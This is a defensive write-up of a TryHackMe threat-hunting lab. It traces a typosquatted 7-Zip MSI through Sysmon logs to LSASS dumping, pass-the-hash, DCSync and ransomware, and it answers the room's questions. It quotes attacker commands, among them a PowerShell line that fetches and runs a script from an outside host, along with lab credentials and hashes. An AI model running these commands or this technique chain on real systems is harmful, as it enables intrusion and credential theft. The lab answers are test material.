TryHackMe Hunt Me II Typo Squatters: One MSI to Domain Admin

Hunt Me II: Typo Squatters

The second Hunt Me room starts with a developer who installed the wrong 7-Zip. From that single typosquatted MSI you have to reconstruct a full domain compromise, 15 questions, all from one winlogbeat Sysmon index. It is a long chain, so the trick is to walk it as a story: root cause, service, credentials, escalation, and impact.

Root cause: the typosquatted 7-Zip

The download’s mark-of-the-web is the fastest way in. Filtering Sysmon file-stream events for the suspicious domain, winlog.event_id:15 and message:*7zipp*, returns a single hit: a Zone.Identifier written by chrome.exe when it saved the file, and the event’s HostUrl is the answer, http://www.7zipp.org/a/7z2301-x64.msi, a lookalike of the real 7-zip.org.

The domain resolves (Event ID 22) to 206.189.34.218. Pivoting to how the MSI ran, process.name:"msiexec.exe" and process.command_line:*7z2301* shows it executed by msiexec.exe, PID 2532, spawned by chrome.exe.

The MSI kicks off a second-stage payload, powershell.exe iex(iwr http://www.7zipp.org/a/7z.ps1 -useb). That 7z.ps1 is clever: it downloads and silently installs the real 7-Zip to C:\Windows\Temp\7zlegit.exe as a decoy so the user sees a working install, then drops a malicious DLL and registers it as a service with sc.exe create 7zService binpath= "C:\Program Files\7-zip\7zipp.exe". Searching process.command_line:*7zService* or process.command_line:*7zlegit* surfaces exactly that activity: the installed service is 7zService, running as SYSTEM, and the decoy installer runs as "C:\Windows\Temp\7zlegit.exe" /S.

Credential access

Running as SYSTEM, the implant goes after credentials. It pulls Invoke-NanoDump.ps1 to dump LSASS to a disguised file (trash.evtx), then parses that dump with Invoke-PowerExtract (from pwrex.ps1) to harvest cleartext hashes. The prize is james.cromwell : B852A0B8BD4E00564128E0A5EA2BC4CF, an NTLM hash the attacker immediately reuses with mimikatz sekurlsa::pth.

Escalation to domain admin

With james.cromwell’s context the attacker pivots into Active Directory. Using PowerView’s Set-DomainUserPassword, they reset SSF\anna.jones to the password pwn3dpw!!! and log in with it on WKSTN-02. Enumerating onward to WKSTN-03 they uncover a second stored credential, SSF\itadmin : NoO6@39Sk0!.

The endgame is a DCSync of the domain admin, damian.hall. It is run with mimikatz (lsadump::dcsync) and, the room’s answer, also with the PowerShell script Invoke-SharpKatz.ps1 (Invoke-Sharpkatz --Command dcsync --User damian.hall). The replication output hands over damian.hall’s AES256 key f28a16b8d3f5163cb7a7f7ed2c8f2cf0419f0b0c2e28c15f831d050f5edaa534.

Impact

Domain admin in hand, the attacker deploys ransomware, bomb.exe (downloaded as 777bomb.exe), across workstations. The count falls straight out of Discover: process.name:"bomb.exe" and winlog.event_id:11 returns 46 hits, each a file the ransomware created and renamed with a .777zzz extension.

Every answer

Wrap-up

Typo Squatters is the whole SOC Level 2 Threat Hunting module compressed into one incident: a phishing-style root cause, service persistence, LSASS credential access, Pass-the-Hash and DCSync for escalation, and ransomware for impact. Because it all lands in a single Sysmon index, the discipline that pays off is timeline discipline, following each artefact to the next: the Zone.Identifier to the MSI, the MSI to the service, the service’s SYSTEM context to the LSASS dump, the harvested hash to Pass-the-Hash, and the reset and discovered credentials up to the domain admin. The one deliberately tricky point is separating the tools, NanoDump dumps, PowerExtract parses, SharpKatz DCSyncs, and reading each command line closely is what tells them apart. Trace the story end to end and the 15 flags fall out in order.